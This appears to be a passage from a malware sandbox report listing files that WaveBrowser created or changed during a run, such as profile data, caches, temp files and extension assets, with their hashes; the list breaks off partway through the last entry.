SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\4dc3682f-558d-4c49-85fc-7fd29ee90ad4.tmp

MD5 f3d32d9918947cd0ee98a95e6782ea0c
SHA1 7d352e9a4799b5a180e11eaae4a7ef1a6ae51d2a
SHA256 33845d8a8dfe591b8eed4b27f2c47dc856b11d86c6bfec08074662c559ed4d01
SHA512 e4818c7e56b2a7f28610f14f738fe92018528517182e5cfa2e17750796bbdecdc2bca3af71afaad2e27a19a17e487fc321e8e20c286268dfb7a126135817804d

C:\Users\Admin\AppData\Local\Temp\scoped_dir6644_132835024\Sync Data\LevelDB\LOG.old

MD5 b040f4418b737253bf5640623fccfd35
SHA1 80b81da7a9f235ef349ee1eaec1c9793fd871192
SHA256 29af11e5c2f6494dd14da7e12a4597a99bbd569b46d784f27ee0fbb4a7f03059
SHA512 800ae9f8ab24a686c4eec7abf1744829c327d3a5db52423a41de531607aca731fa2bdbe4c801b20b18d9322951acf0d417a86bd4902245ee2754e3e3e9ff0491

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\DawnGraphiteCache\data_2

MD5 0962291d6d367570bee5454721c17e11
SHA1 59d10a893ef321a706a9255176761366115bedcb
SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
SHA512 f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\GrShaderCache\data_0

MD5 cf89d16bb9107c631daabf0c0ee58efb
SHA1 3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b
SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
SHA512 8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\GrShaderCache\data_1

MD5 d0d388f3865d0523e451d6ba0be34cc4
SHA1 8571c6a52aacc2747c048e3419e5657b74612995
SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
SHA512 376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\DawnGraphiteCache\data_3

MD5 41876349cb12d6db992f1309f22df3f0
SHA1 5cf26b3420fc0302cd0a71e8d029739b8765be27
SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
SHA512 e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\SCT Auditing Pending Reports

MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

memory/3788-1038-0x00007FFB82DA0000-0x00007FFB82DA1000-memory.dmp

memory/3788-1039-0x00007FFB84100000-0x00007FFB84101000-memory.dmp

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Crashpad\settings.dat

MD5 a2a8f906bfa8196e1601ed7fdd7197cb
SHA1 7f0975289a2aa1eb47ac90b6ede3e3b7c3d38ee1
SHA256 3059d24f6626e9228401135af3d3d09e7f4223fdb091a97868278dfc1afd6292
SHA512 07e06fb539925a4615c10ebe84c58d3c91a161c662c2af48ff5a49e9b08f1eeb53483a65a4993d23a1beecd0727a4620613b64134e90fe880e145048a59a0468

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Cache\Cache_Data\f_00000b

MD5 8e433c0592f77beb6dc527d7b90be120
SHA1 d7402416753ae1bb4cbd4b10d33a0c10517838bd
SHA256 f052ee44c3728dfd23aba8a4567150bc314d23903026fbb6ad089422c2df56af
SHA512 5e90f48b923bb95aeb49691d03dade8825c119b2fa28977ea170c41548900f4e0165e2869f97c7a9380d7ff8ff331a1da855500e5f7b0dfd2b9abd77a386bbf3

C:\Users\Admin\AppData\Local\Temp\dde805d9-24f7-4169-9821-f5a57b876866.tmp

MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21

C:\Users\Admin\AppData\Local\Temp\9d1c075b-d8f3-41c0-a63d-e9b77e775a1f.tmp

MD5 7361d437f5f0152896832358e4941350
SHA1 918b3e9825ceb47f873267918877de97de71be8c
SHA256 11c5652a64869d8146a56f83f7b431d72c40a8dee538b78291408347a8f504d3
SHA512 45435876b782ef718a10edb14263d16a56e60d8da8843c164baa59713717ab1ef96bf10cffbb206da24b0ebf186f0228dde3804c6b9c586848dccdcd9ba6cfc0

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Extensions\Temp\scoped_dir6572_366635027\CRX_INSTALL\assets\index.ts-ae5ba517.js

MD5 50bcf1fd951bbe65d3e9ceda508d29aa
SHA1 5812417e49b521dfc2623434dad97380b6c5d1a6
SHA256 861428d94816c77a78e1ba0ab7e0c460c0716d3725b9988e96eec719ed9c73a1
SHA512 12dd93b2a22fe1646b060ea5912e56b987ceaced3f836e46b1b6b3296c8f76d2927dbb25b6c76fef9e084fca0d2afd01a33e92319bb916fe8f03b3c461be5234

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Extensions\Temp\scoped_dir6572_366635027\CRX_INSTALL\assets\messages-86fb7e29.js

MD5 6d62c5de88a2381b5627e0d2df7b9a30
SHA1 08c76dfb73e09780b0b3f98e5da414494904417e
SHA256 068f97ff81dc092e4d201f575a2d330a0f5830e847edc6e0e80f8a97684ba75f
SHA512 a193d284bc5c017353e8ce1a51f2449e2e58f0f35fbfbe8173f812bfaa91840f2cdede70897c64d271601f8836ef4f694dc099c2271c18b448b9892e5043e291

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Extensions\Temp\scoped_dir6572_366635027\CRX_INSTALL\assets\index.ts-68082f05.js

MD5 4b1999e443b36d6b3fbd8b0655fbd9c4
SHA1 9ce799c09220d286590d98f025b2b1e254d1a4f6
SHA256 ce01cce8b0b3614b1655f40f28c7a39f9532ca9e94c3fad05021940ff8b9a0ca
SHA512 7d260afb87d8bd2e8d104d49094fd681a3c6f39fe455be0d2445901c2e0d224a1a2416bfe3f0c4e3417760ad4d530be26abea2f9c07f80fe047b847efed91a77

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Extensions\Temp\scoped_dir6572_366635027\CRX_INSTALL\src\assets\icons\icon-48.png

MD5 2184400582c25500a74577359a1f7e7b
SHA1 e69eecf84f7d2d98bf236edbcfc143fa42d01bc3
SHA256 c6c3593c7d0af5c9a7f2e26b98ef2629e392c5da87df80653d94ebe412d5c9c0
SHA512 24858ebec11fc0bb586eb2d6f555f5e798ec9708ad89b0a94957a1537dc150a584b70865d7fed53d3f122789812d390eb6af6b68ff4cd93296b2b0e5a21b103f

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Extensions\Temp\scoped_dir6572_366635027\CRX_INSTALL\src\assets\icons\icon-32.png

MD5 9caefef512720012470700a11b0bd456
SHA1 bfc11bafa996fbbce1566a569a79d5d72b08f1e5
SHA256 82c0a843e1df5cc10a8c6beabee8416281aa89c73798d7bb6a2cf4a237a24ae0
SHA512 3bb42b23babd54cb902e595b84a398ad5b2c9bd2e4bd4951a8b0cdfdbf91f6d0e04bb1fa944c54d673babdbcf0400c1947d0e12fba8057c3f69ab1e61b89aea1

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Extensions\Temp\scoped_dir6572_366635027\CRX_INSTALL\src\assets\icons\icon-16.png

MD5 46c4711e8452178b9c2471f9c59c2667
SHA1 e020f7ba4a787f840d204525e8eeb21d0c21e2be
SHA256 4e1aed06fc4105c64aabe9580069d0cdeec3464a693241e7c02771e1beda860f
SHA512 42f2161205f28003aff9ea4a8bb33a0a0ebbdbb9bb5e9446efbca4f000a4315b2bf7184d79254c148da40597cc15bf8f22a02a3da78cf5c9026ae35e4bd695bd

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Extensions\Temp\scoped_dir6572_366635027\CRX_INSTALL\src\assets\icons\icon-128.png

MD5 af719a0c95789b088fe4b9f82dd5ee98
SHA1 cca49d2a728cd456b450cfcc20f91acf781c3105
SHA256 5b861963c613fca1dc4aac9a416e43b2165b05a4277478f74b7f6562a378ff5f
SHA512 4a6f77684b3bc459897ab2709754849868bac64f4e099c1e74970339c944738278454d6c043ee8a2a0337e9891e7e7126bfc41e6fb0f5fac544b978ae36f5082

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Extensions\Temp\scoped_dir6572_366635027\CRX_INSTALL\src\assets\images\adblocker-bg-1.png

MD5 404ead15b3040c2a16cada6a18088aab
SHA1 57d6d1b3d601532d1825c738ee51d0971f137af8
SHA256 bd474396ecae2864798b9b33062afe3b599dc834db30b6a2f4cff0d0cbb9f9b8
SHA512 12173b41f487987aceac82c13f63b1318107c48d6803dc1f89053245c1c08d092761399ab397da44f0ccca5d9ee3c79ab98081cbdb25a78ab5b97f0b52a4f784

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Extensions\Temp\scoped_dir6572_366635027\CRX_INSTALL\service-worker-loader.js

MD5 34679a8029e867292c60d4a37a5c597e
SHA1 994e855eec5b6ded3e365ce828f8646c6b6f7ee3
SHA256 a04c0b004f15f9058d16dee395025cf6f054fa33751242707fac789d4536d814
SHA512 03734f81215043de34aa60a7d685114542d8cedb3be763d5292feb164fdb8b521f89d1641235da2d82a64da5278a30598cb7fb8fa3d9a87d026b572fc9f17482

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Extensions\Temp\scoped_dir6572_366635027\CRX_INSTALL\manifest.json

MD5 cfd55d89aedcb24f5dc14662daea26de
SHA1 0eccccf18b2da8a23a34f983641c7c28f2ef5864
SHA256 b027e1e1bf93d33f4aaf3d61f7a5a6b34a48134be16f1defef2dc5349e2e8800
SHA512 9cbadad89a57705a74a0d96055437a394ebca0752adbc1d1c56f8f8878f0594b65bf7c8826cbb8a48fafc2ff976152a79ed1b82776c83c3f54b0e5de11d3fbe3

C:\Users\Admin\AppData\Local\Temp\scoped_dir6572_1283377520\CRX_INSTALL\assets\index.ts-loader-12fff2f5.js

MD5 3db80d2844748cb8365541c6c260ae47
SHA1 f26ea3d817c75932e73fb361eb87c34d2b74c731
SHA256 12fff2f5f6d8ec89484ecb1b6337f693745c56c4b4f1d2b81774c532d21f9450
SHA512 0b9266ed937bb441f76dff6757861a24c963f95cdeaae304f396edc093e088824021f92471f60b68f4bf135896dfb4dac9105e295572d2cdf85d629ea9c5b67e

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Extensions\hbgjioklmpbdmemlmbkfckopochbgjpl\1.0.0_0\preferences_schema.json

MD5 a192304f63ef26c80086f835cc4b7ada
SHA1 6963e90e752209132b728a938844c4c64dc94d43
SHA256 4f72309f9378f04b3f1cb8f46b031ff513ac63e5056d96272f2bdc6d39dcddf9
SHA512 be619909cd0c3465966a4018847310c1493bfdecad6f07bb28293f3dcea73dc377f5d52cca040d626368e17828eae28384fe51d20c4a71925c5f31eea8e18561

C:\Users\Admin\AppData\Local\Temp\scoped_dir6572_1286487544\CRX_INSTALL\_locales\en\messages.json

MD5 bf28ef9468e4e1cbc5f3e055adfa69e5
SHA1 d5cff2ec3851f3fff649d688919f9f4f8511420e
SHA256 0e86dc475bac19122a3134a18cf8af26b83831df3346bcf5093739ca2891b4b3
SHA512 7b37e27f56b8ef1aeec6f25bbe7336ad0bec837af4390e47932adc67c9ed873c6b7cb5d643b39d0b6f383d79c7ee0ab8aa39e70f894ce8f2b90a884d1325c3f5

C:\Users\Admin\AppData\Local\Temp\2055d2d2-e608-484c-8ea1-6ab92dd46b7b.tmp

MD5 04398d23bf4733785de3a5ca05ad80c5
SHA1 72b193836a47aa3f0b7182de92a6a3f6f862131e
SHA256 a89ea036242d4e3345ad54ea9bcdb5c73ee5b78fa320996398bab4ae46cb578e
SHA512 1e7ba8e738c16af9267e7f9da427c23f2159214839d6e59bff66228375e9c7aea0f86c1ebd352cae248fd8508f762c1e81dd680e27cf7c1b5bd8084ab383148a

C:\Users\Admin\AppData\Local\Temp\scoped_dir6572_2113322916\CRX_INSTALL\css\fb.css

MD5 c862cbbc1b82064465f98482ef73948b
SHA1 0e49a12b9d1fd903e0c44cfe9c9db0ae7a5b50fc
SHA256 988dfba4289e28ef42d0ce93bae58926ae7a9528de7bdf97898d1c2cd2f2016c
SHA512 12befd2966f25464dd21377d89b5d3c9b8fd9abaa8f257fe88bd1d80759fc5375439e6160f99dff7ec7a61135d9616992b611b63d1a6e094fe2eb29e23420559

C:\Users\Admin\AppData\Local\Temp\scoped_dir6572_2113322916\CRX_INSTALL\js\cs\native.js

MD5 8307716154566dd5d4b7f87f7e536824
SHA1 5b746f1c97a036b190d4cf1db76760902ae1ed87
SHA256 a7e44db42aa52a276edb6a2dea7dae1a8d1f683ae67d0179b5930271e3138d12
SHA512 8dcd2e9dea6c147a4c9578b42fd1613a55e790d3a6ddf98809f123cb06270784b0c0e3ae27bf2957e6066fd8bd831cc09777270e2bb8f6f7c144721f95e3c5fe

C:\Users\Admin\AppData\Local\Temp\scoped_dir6572_2113322916\CRX_INSTALL\js\cs\yt.js

MD5 8e84151e901f61a135d941979efd8ff9
SHA1 52841c4272dc039438ce59943489367d1f2e4482
SHA256 738e199707a5027486e17e9bfbd50a1dd295d2d6d5c48ccac17fecaec91b70a1
SHA512 c2e2c027d3655bd549ec59d75cbe307c8e6b66838c72949b965ce2c7ac3c730ffb873a948cc055f6727964cf048d403262e8262c6c6559410ae682e2963c013e

C:\Users\Admin\AppData\Local\Temp\scoped_dir6572_2113322916\CRX_INSTALL\js\cs\lp.js

MD5 b6ddadfa381c9d9297812d2dca3d92bc
SHA1 9f83febb785d4c87730164f7cf020d036e0e11f2
SHA256 6b2d97ac7dff812bbb826852feb506a4a300b7876fd6985e6b8a16ad710efe89
SHA512 d89a308fc1b9b6ba055e88ac91a830169547c8aea734a773762767fe4c6a76033a8d3f20b8e82c094239d25c8e2f17e4c9b1bcd083d294db368aa28f2cfe85f4

C:\Users\Admin\AppData\Local\Temp\scoped_dir6572_2113322916\CRX_INSTALL\js\cs\fb.js

MD5 35a10dd7924dc7a4205fb3807812896b
SHA1 53583f9a14b35a9529614f7cb8c2f26a3a2a31a4
SHA256 43cdb582f3881db7584ba1cab29ca88c74bf51819033ea88a02b0614e398ee8d
SHA512 a7220a4c8cf583c334d78c108b7da9402a79eb2c57c428c5f740f8b2c6c19ac1c761da8d57074f2b9cfb063da84410f6558a8b61f978d536d9ac48428448a681

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Extensions\mccchmdkmjpgjlhckmbinjaioihkcnkc\1.0.8_0\images\x48\icon.png

MD5 fd727c2aaa8b364faab1828aae2250fc
SHA1 bca5b2548b009ccd0b2f79c09fd628fb3119231e
SHA256 1a32dcbadab7c91a690879b5425f6815c07dda1aadb6f6a7942b9e895cdecd0f
SHA512 7d21b3133beea16a8713ab8a87ac7b84d8b2a312e4f017a9988e970f7281b9c41dec3f909d5483bba387e5ede366e80c210da93a78ed72b108f65934eef07c15

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Extensions\mccchmdkmjpgjlhckmbinjaioihkcnkc\1.0.8_0\images\x48\icon_a.png

MD5 c05285aad074c0872dd78908176b1052
SHA1 b8a5926d153dfbc503a38a749baf9099903c289f
SHA256 9a4a7e0c2969562d5d1299f80317d4560265b4a843cf17491c7d36fa74a91cc1
SHA512 6006b22ff83d0afdc346179a4c2dbbf927efcc62fcf9105fb45efd768bdba62af5839c3efb21e2555e0090639ab2dca76397d294b51db0dca768def53ce00a1a

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\IndexedDB\chrome-extension_gbohaofhodnpniflcnancekmknlomeck_0.indexeddb.leveldb\MANIFEST-000001

MD5 3fd11ff447c1ee23538dc4d9724427a3
SHA1 1335e6f71cc4e3cf7025233523b4760f8893e9c9
SHA256 720a78803b84cbcc8eb204d5cf8ea6ee2f693be0ab2124ddf2b81455de02a3ed
SHA512 10a3bd3813014eb6f8c2993182e1fa382d745372f8921519e1d25f70d76f08640e84cb8d0b554ccd329a6b4e6de6872328650fefa91f98c3c0cfc204899ee824

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Local State

MD5 68f47836bb8f783a70b8502123b6806a
SHA1 b983aeae7a96fc762c96c40f1482ff9c53dcb478
SHA256 2a321834471ffb0512a7ccec08818118685a7e2b177e5227d6c26b2cab51a23b
SHA512 26a037017e611d26c7eedee1fe6e508578aa8283e7767024b3f3f50cf88d1f4f93fc780f8dc5e555dfeb82c91c1b3d3f2d765f9bedf9ff2c33681eb60d262972

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Local State~RFe59afce.TMP

MD5 ecf2aad705329016bf2140fb549c5292
SHA1 78a7299f3ed532096580485832bea84a0f368cb1
SHA256 07c53747126505a3b0242b3ac275b65b6879f5aaa67d47f9fbd5185f3197049d
SHA512 d80dc26cfc730115ba66e960a1ef06922e74b705c043ffbe2f000d5eee7e0e444afb70634e4cc82853baffa9149c6b2e082061c3b9a3e16e7af1c255219f6909

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Preferences

MD5 e30af897bcffa765f1d7a189760abc40
SHA1 11ccfb778f58cfba6d97c340484d5ce200673d70
SHA256 f77b18d5482883a2c4414e26c606ed667a9a494a625ce5ba456d29f9f17f5300
SHA512 402e2db7bc1fba81737988b773afb1755cd0d73526565d5137b7aa03e120ac9232e5e182a5e787665f7ce7811fe1bb4bf4e7309a4f4539ee02ad67d074ab4598

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Preferences~RFe59affd.TMP

MD5 c7fdfe1e561850036f6bce38ef0a3461
SHA1 98182ef96709f73198e7e8399b05a49a3bfac658
SHA256 5146b43491e838d13987091009f7afa50df4d0878c8384c7ff60c03a9698b7d3
SHA512 20bfeaf99495510a53f87b0022bee9cc32cce6245740a133f53f03d25bda0b72bf2d40305b57f41632df1647c2b5e0018209fc97697979c116a60988c074a534

C:\Users\Admin\AppData\Local\Temp\3922c711-03b5-499a-b04a-777a633a21ef.tmp

MD5 7a3bc6142be9b7c9664464759974c08b
SHA1 7055fe5cf3e31a24687c3fcbc06394eaf097c6ae
SHA256 446839b455f486943d42e46c8230b6b00d59943de94449fc418ee626aba4dbef
SHA512 c881916068cfbd73425e1a6662d1049f02b8f1ed34b8546a9555d43b2b05ac3507e94f996435123a7694a2f2ddc4ef9f97d839b9a9584ae3ebca37f1b45d63cc

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 5e7fcae81d3dc1879ea1d8def97d0e53
SHA1 68d08b098cf794bd587e2aee4b70c3d30bd94806
SHA256 1d5381539bf4006ac6d0c971b05665f231b1790cdd15b5e4255913eb18d549d3
SHA512 6e74a9e23af115be84f71f61e399a6dee8e077df62f969dc3324d0f7e7e2d0b844fb6174a133361f724c966cce80ff11df3cef6db4fd7bc4abd7a58db7dbb384

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Preferences

MD5 646c8a26bea8de4baad131d01ed5b97d
SHA1 63a4aca046f456b20bde1f4dd373220b2adb982c
SHA256 1b75962272671fe776444d5e6da7816ff7ad30d62bf1676243d3eb615c3a9ab9
SHA512 4f9fd86034a386e28ad4222b2278f718ff5db956c5f157361f3d80490cbaa09b45dceb59746ebe080dc8d1b8a4aa9ed795cb8a0fb712360ebd8e9d45e715e491

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\8e42fda9-b5ec-4176-b25d-b81ef32ba027.tmp

MD5 30e4d73bef9c4702738a2d57e7718999
SHA1 5b222741231e73745a0f8c1ada9b676b6e8479eb
SHA256 17c5761dc4f726e8dd632d3e4691c3a0c194be82bfbc13b992d538248af2d76a
SHA512 fbf4ab95af332c9e00f945e636ef285bcdfb8f582b86b6f5d0e08c14245332b00846e96ae02bed57b260b39612958177ff102a0c6927a6edfe468b230c5fad9c

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\TransportSecurity

MD5 9d2ad9579af131f94d4b240ac4dd8ef7
SHA1 9a99ccc2d023b9cf79559a4642d53bf93014bfb1
SHA256 38c3b25c2158ec7275909628e181adfc71e5aa5be32d2aabdc00170e12ccda8c
SHA512 ee9aaf651e7a97f299ce9fa0481339ee6a9f3ad452452d523228c8b6c32a3e3c6b5efe9713cd976da8d71d9f13740b780f061ab3022a392f84a4378fe0a4b222

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\TransportSecurity~RFe59e054.TMP

MD5 b0f37a6e86f951927cb09afea7a73352
SHA1 8b30fb1b9c6f92a2c4139a5cad51d75a3dcc55ab
SHA256 ca357d37af05c5e028597beefeda4eb125d7ab25594856f23438620dd0800a17
SHA512 f37ffa5858b65259eba72ab874ed6435b18eddfc54762f1d98e288af0940d1f8fe051139ddb3c95e8178dce16e4abe090cf576355cce367ea0fce5400a412b8d

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5a00dc.TMP

MD5 047ad9f82a6d1b4600e13fa60bdb3cbd
SHA1 3d1ce1e638b14b1d8818225dcdc9d896f57dd000
SHA256 4433a651b652785a18a519a2f3d9d120c3af612238dac9a08c10110457628f5e
SHA512 a7cca07068496a34a6b506c46e75da96656f7e564cdaed30b40d0c0f1ee389da1399281814e2bb9967c4ddee0604d32eb8e8e1efbcf0c3ba5beac87552159c1f

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

MD5 538a2444a7bbb4139b903e1f069377d0
SHA1 0f80e2146be3b1ddfb1c66af352fe868290b6202
SHA256 a0b9839d1ac073d5df5d86ad92abc91c198292594d76d42c02f90c0091e7382f
SHA512 b760100dfb34705920b5c1cda948057c8f5e009163989b8d3d8f2e983ad72210ca24aa7ad6e5eb22292a610bd4c0ed5f362cf0596ea10e37868428385017d1d9

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\TransportSecurity

MD5 57474bc593bd2e163cf49df9e67a7c6f
SHA1 9cab477c1a01ba33681189512e09583239e0d7a9
SHA256 4085d3368326d1a79a6239406dd243eb21f0600a672345339a277c7a8b82b3d0
SHA512 fbc7bcc6f1b4c5198513e6fe1595efa9f1a1d726785c9e8974fa968eb5caf97b6b7c944843a63faf7d05c97c57bc52480d9bbc07ea988ea5c600fa6e3bc18f00

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Preferences

MD5 bd8d83f3652c6d6d3117323252e83e9b
SHA1 a2a90f16dbc0c9aaa38d125721053a482b163dc5
SHA256 c308b5d32adcb4bcac3070b7aa121a3acf88607e0207089bb6c2f9067f47b3ef
SHA512 e34be75e7f61130e675195763a5030cdb386c462c7910bd87eb0fd127b3a69db6b68a774a68706afda9d9ca706e4228e5251a862ef7f1c3c7711960e799c44ec

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 9b9f4df9ad0aef309d1a2808e6cba975
SHA1 4139fc350bccebfae4b512fb59dd07dc2524e5d1
SHA256 a7ecb9f437ca78223a6a603b962b18b391d79da3510c621310e9a21d0433baed
SHA512 661ff04c51b09ad383a72ecbcb1f30f51c779595e930ef7ed97af96f622869d13578bfb603886333617e8ea44efdc47566fb298aea659f50729df35d078e269b

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\TransportSecurity

MD5 787627778abd6abb6bc5bb1e91bc95b4
SHA1 91ec0b25aa0fa44802010ec7c42e5c198856ee05
SHA256 1e8dce3726a464780c75b985f4df969e45b1e2a3fb336067aa7cffeab98e1fa0
SHA512 86e279a9e80ca9cc9310e4e0a3ced1234c1d4ef65deaeb85c1354b95e981b02d19b2a58ecdb33286eafdd494cf4e499c92c5206088c5b08bfc316662426a59b1

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Preferences

MD5 82168a7ec43f04805941079d13a4ddc5
SHA1 8ee528587351471ef759c2fd6cf9a6ec567ebb2b
SHA256 f6f3d135a4fd02dbec8161289392083d41651c5f10cfe78a8ffdf48ad0510364
SHA512 9d9a2bba097d2212395087eb4b9481512d6ff46498a1260d80dd42eb91f1f4cee15ed866df70ac4507a06a138cd91f355eec77708e34e3586ee07b14659d97cf

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Network\TransportSecurity

MD5 e8c52b49a413d64e8abfe492f76545d1
SHA1 d1fff1d4e2ea822815e105fe68dce0524ab5c7c4
SHA256 292f436bffe27cdb0ec67e9c665dc5fb7b6e78313eef02844ec3208bff1b05d7
SHA512 2ad6a92af612acb2c0517eac041721e2ecc3236bba43fc02beced06ac4905bc522439d54b6537237860220bf5ebf411f916a76777001f9ae3eb116875c570f0f

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Extensions\dkfaejedefgggmibkkddljhbafdcdgjn\1.0.6_0\dist\contentScripts\style.css

MD5 a2de90a2190cef036f2c6df8ab8f00e4
SHA1 d2c76852071c134e386b54d0163640233e8b854a
SHA256 8bb83055b42d5b706abb9b10afa55c189f2e451acc976c78430c3d91f555c817
SHA512 761d49c55530694df775138dd078c5b7ac91ad2ff561d00df824bb70ec7d63b6e886ff75e195eac6277c535511618bc2c034e2db7693329886b4b87696f7dce3

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Cache\Cache_Data\f_00006b

MD5 97a3bed6457d042c94c28ed74ec2d887
SHA1 02ce7a6171fb1261fde13a8c7cbb58992e9d5299
SHA256 ae56cf83207570afbb8a6ab7cbc4128b37f859cb6f55661e69e97a3314c02f67
SHA512 6c8cf955ec73ad9d97bbb36c7ce723bfa58c9aef849aa775ee64ce15afa70afb40e8cd45989dadec420d2e8edda9ec0f05cc76a0602df0b6c4e5d45de0f4ce7a

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Cache\Cache_Data\f_00006d

MD5 a1afe33ce7442502a96deee597945384
SHA1 fe34cd78635f5617cf238de6dc746058d6f88899
SHA256 f7eeb570c60aff1435db1daf3767c0672634269789870ef91c69b2b90a47edaa
SHA512 f8bca21c3fd79d63c8265f5dfcba95419eac697b42efb600e7c33d15dc5d9c3e0d0d360da39e14004facaea4cff4dcfc00d7437979283ce0a2b06916b69b8c80

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Cache\Cache_Data\f_00006f

MD5 e4cc1ece2f2425b10ae2ccc212c1dafc
SHA1 92609e6d0093693110baa23758382889bcb30da6
SHA256 92e9415d8bc8529e2a3f335258ef7ff159cce2965ce3b2b7c15f73720efee809
SHA512 2848dee3a6da891b7044518bc97aeafd340705cebe846350b9a7f314b52450f1eb977b8b492638965ce4674ebaa341e4f832438199c3cad2fb0a0793ef83a619

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Cache\Cache_Data\f_00006e

MD5 230ab95d87a717be265134072eb17c25
SHA1 71a3d3dd6f952057ba0c6025d39c9792ff606828
SHA256 3fdfeaa675697f08f1c7c0fd6b77512f4bf9465e670637e8e332e65ebb9db068
SHA512 9b0636421ad14161f211e846521149ab0a7c866e77db309dba79718487835204cee3821c9f4678e48e134614be6a02421c155a34b7c9bc424012137705960b11

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Code Cache\js\770964c2385c48c0_0

MD5 ac457f90581e614c8b784a010a978377
SHA1 99d83644ddafb4f13ab95b3920842819ba3599ee
SHA256 0a92cb190ad3e172fcb305c7bbe664b5c822938c1d05d7895e3ae2941807b8bd
SHA512 99171890cb9856d5805f12e52e61511ccedbb631c465aa84bc9c96279d54812f2f56c6b0d80330f8531d139b24d585ba145d8dcbb97a20156ca4ba9dd323bfa0

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Code Cache\js\2bfde39962961371_0

MD5 05a4f1d73b0d448d0b273f3e4baec78a
SHA1 bb95108779d2b237088c82cab8f233023e5b7e02
SHA256 ffb4499aa865a643b42707441ada8241f6ec1633d8e3fe5b9ce82a55d92686c8
SHA512 188a0429170429e2b0ad9ace99072e03242d3e02c4267f0c7a963a835553a607e21a56a3f0c4eb17a049b5338fa3b7cb09d3b993a7314aa1a3c809ea6c353dd4

C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Default\Code Cache\js\f94fb4a7085347cf_0

MD5 798e744cafcdc25f6a94f1ac045049f7
SHA1 359ee757946b4c15646a44d8531bf04a862fc3a4
SHA256 be4b6fb5e42ee57870c61dfde3e737f469dce3537c940073ab5e827f3e114683
